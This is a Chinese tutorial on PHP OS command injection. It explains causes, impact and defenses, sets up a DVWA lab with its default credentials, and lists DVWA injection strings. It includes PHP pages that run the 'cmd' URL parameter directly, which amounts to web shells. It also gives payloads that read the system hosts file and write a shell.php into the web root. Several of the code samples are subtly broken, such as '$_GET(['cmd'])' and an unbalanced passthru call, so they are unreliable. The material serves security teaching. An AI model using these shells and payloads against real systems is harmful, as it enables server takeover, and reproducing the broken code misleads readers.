文章目录
一:原理以及成因
程序员使用脚本语言(比如PHP)开发应用程序中,脚本语言开发十分快速,简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序,当应用需要调用一些外部程序时,就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候,如果将用户的输入做为系统命令的参数拼接到命令行中,在没有过滤的情况下,就会造成命令执行漏洞。
1、用户输入做为拼接
2、没有足够的过滤
二:漏洞危害
1、继承web服务器程序权限,去执行系统命令
2、继承web服务器权限,读写文件
3、反弹shell
4、控制整个网站
5、控制整个服务器
三:相关函数
3.1:system()
system()能够将字符串做为OS命令执行,自带输出功能。测试代码如下;
system.php:
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
}else{
echo "?cmd=ipconfig";
}
?>
?cmd后面就相当于在cmd命令窗口输入一样。
不仅仅可以ipconfig,还可以有其他想法,基本上cmd的窗口命令都可以在这里输入得到结果,比如,?cmd=systeminfo ?cmd=net user 等等。
3.2:exec()
exec()函数能够将字符串做为OS命令执行,需要输出执行结果。测试代码如下:
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
print exec($_GET(['cmd']));
}else{
echo "?cmd=whoami";
}
?>
用法同system()
3.3:shell_exec()
测试代码如下
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
print shell_exec($_GET(['cmd']));
}else{
echo"?cmd=whoami";
}
?>
用法同system()
3.4:passthru()
测试代码如下:
<?php
if(isset($_GET['cmd'])){
echo "<pre>";
passthru($_GET(['cmd']);
}else{
echo"?cmd=whoami";
}
?>
用法同system()
3.5:popen()
popen()也能够执行OS命令,但是该函数并非返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令是否执行了。
测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'].">>1.txt";
popen($cmd,'r');
}
?>
生成一个文件
查看1.txt文件
3.6:反引号
反引号“内的字符串,也会被解析成OS命令。
测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}else{
echo "?cmd=whoami";
}
?>
四:漏洞利用
OS命令注入漏洞,攻击者直接继承web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows系统下测试成功。
查看系统文件:
提交参数
?cmd=type c:\windows\system32\drivers\etc\hosts
查看系统hosts文件
显示当前路径:
?cmd=cd
写文件:
提交参数
?cmd=echo "<?php phpinfo();?>" > c:\phpstudy\www\Command_input\shell.php
页面没有报错,说明文件写入成功。访问shell.php文件。
五:防御方法
1、尽量减少命令执行函数的使用,并在disable_functions中禁用
2、在进入命令执行的函数或方法之前,对参数进行过滤。
3、参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义。
六:DVWA靶场搭建
官网下载地址:
https://dvwa.co.uk/
个人的文件分享
(访问密码:HfjmVM)
还需要phpstudy的环境,请参考:
030 php环境搭建
解压之后把文件夹放在www目录下:
浏览器打开
然后刷新192.168.100.2/DVWA-master/这个网页,出现下图内容,则拉至浏览器底部,点击create/reset database
然后进入以下页面,输入默认账号密码
admin
password
成功进入以下页面
七:DVWA命令注入
low:
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
127.0.0.1&&whoami
medium:
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
127.0.0.1&&&&whoami 不行
high:
127.0.0.1|whoami